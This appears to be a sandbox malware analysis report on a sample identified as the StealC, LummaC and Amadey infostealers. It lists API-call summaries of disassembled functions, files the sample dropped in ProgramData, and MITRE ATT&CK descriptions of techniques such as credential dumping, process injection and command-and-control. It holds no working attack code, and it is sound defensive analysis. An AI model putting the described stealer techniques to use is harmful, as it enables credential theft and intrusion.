Part of subcall function 6C6FACC0: PR_Unlock.NSS3 ref: 6C6FADC0
Part of subcall function 6C6FACC0: PR_Unlock.NSS3 ref: 6C6FAE8C
Part of subcall function 6C6FACC0: free.MOZGLUE(?), ref: 6C6FAEAB

memcpy.VCRUNTIME140(6C863084,6C8602AC,00000090), ref: 6C79AF94

Strings

SSL, xrefs: 6C79AF73

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 0857ae78e00c07ee2446e74740dfcfa9a5950435b2d4e0941f481cdfe6116025
Instruction ID: 9ed6af601195e333c29f6fa48da807d82a71f9ab07a863909e0e82c3b5654c48
Opcode Fuzzy Hash: 0857ae78e00c07ee2446e74740dfcfa9a5950435b2d4e0941f481cdfe6116025
Instruction Fuzzy Hash: 85214DB2609A48AADE30DF53B6433227AB5B302A0D7507528C5A90BB35D731580CEFD7

Function 6C6F0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F1B

Part of subcall function 6C6F1370: GetSystemInfo.KERNEL32(?,?,?,?,6C6F0936,?,6C6F0F20,6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000), ref: 6C6F138F

PR_NewLogModule.NSS3(clock,6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F25

Part of subcall function 6C6F1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C6F0936,00000001,00000040), ref: 6C6F1130
Part of subcall function 6C6F1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6F0936,00000001,00000040), ref: 6C6F1142
Part of subcall function 6C6F1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6F0936,00000001), ref: 6C6F1167

Strings

clock, xrefs: 6C6F0F20

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: c4d66e155ffd04418212dcef59f462abeecf75adf3e97c47e3b2bf8a1f4af04c
Instruction ID: 8ea5dc0fdeb572ddc68a14517699865533082cf2c2b4ea3ede2659a28b8fee16
Opcode Fuzzy Hash: c4d66e155ffd04418212dcef59f462abeecf75adf3e97c47e3b2bf8a1f4af04c
Instruction Fuzzy Hash: F1D0227220411491C12062979C44BA6B2AEC7C32FDF002872E12C41E000E6950DBD2EE

Function 6C760DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C760DF5
TlsGetValue.KERNEL32 ref: 6C760E2D
TlsGetValue.KERNEL32 ref: 6C760E58
TlsGetValue.KERNEL32 ref: 6C760E84

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 0b8f6c28ea62eabf00fc86ac4c1a4974c407677279c77976ff2d28d756b74744
Instruction ID: 96f0fec2b1f4a9684ce915dc9fc8fdd385de3ebf36ec2019fbfb75a5fb641d06
Opcode Fuzzy Hash: 0b8f6c28ea62eabf00fc86ac4c1a4974c407677279c77976ff2d28d756b74744
Instruction Fuzzy Hash: 5D31A3B06443A18BDB117F7ACA4526977B8BF0630CF114679DC9987E21DB349485CBCA

Function 6C760F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C702AF5,?,?,?,?,?,6C700A1B,00000000), ref: 6C760F1A
malloc.MOZGLUE(00000001), ref: 6C760F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C760F42
TlsGetValue.KERNEL32 ref: 6C760F5B

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 70e48b9b4c059a7ac2c2f1c23004ba468bcf234f065b7eead1bae1209599e99f
Instruction ID: 17704c292ffd0ea5a058ce13f17ed074e2c435de6ac78f852b8bc71c69f2670b
Opcode Fuzzy Hash: 70e48b9b4c059a7ac2c2f1c23004ba468bcf234f065b7eead1bae1209599e99f
Instruction Fuzzy Hash: A801DDB1A0024157E721173F9F045A67AACEF5335DB010571EC1DC2E22D730C849C6D6

Function 6C711EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C711ECE
free.MOZGLUE(?), ref: 6C711EDF
free.MOZGLUE(?), ref: 6C711EEF
free.MOZGLUE(?), ref: 6C711EF5

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4a742d53d7d7b0a8e7363f7e809561191b0b35274f61b430359f8c48b49072b4
Instruction ID: 0b3e71d813b298dfe7c5b150be5029ab9da8021705287799ac23f6adab64702f
Opcode Fuzzy Hash: 4a742d53d7d7b0a8e7363f7e809561191b0b35274f61b430359f8c48b49072b4
Instruction Fuzzy Hash: 74F0B4B57055016BEB509B65DC45D27776CEF45599B080434EC09C7E00D729F414C6E1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAFIEGIECGCBKFIEBGCAAFIEBF

C:\ProgramData\CFCFCAAA

C:\ProgramData\ECGDAAFIIJDAAAAKFHID

C:\ProgramData\GCFHDAKECFIDGDGDBKJD

C:\ProgramData\GHJKJDAK

C:\ProgramData\HDGHJEBFBFHIIECAECGH

C:\ProgramData\IIJKJDAFHJDHIEBGCFIDBKKFCB

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre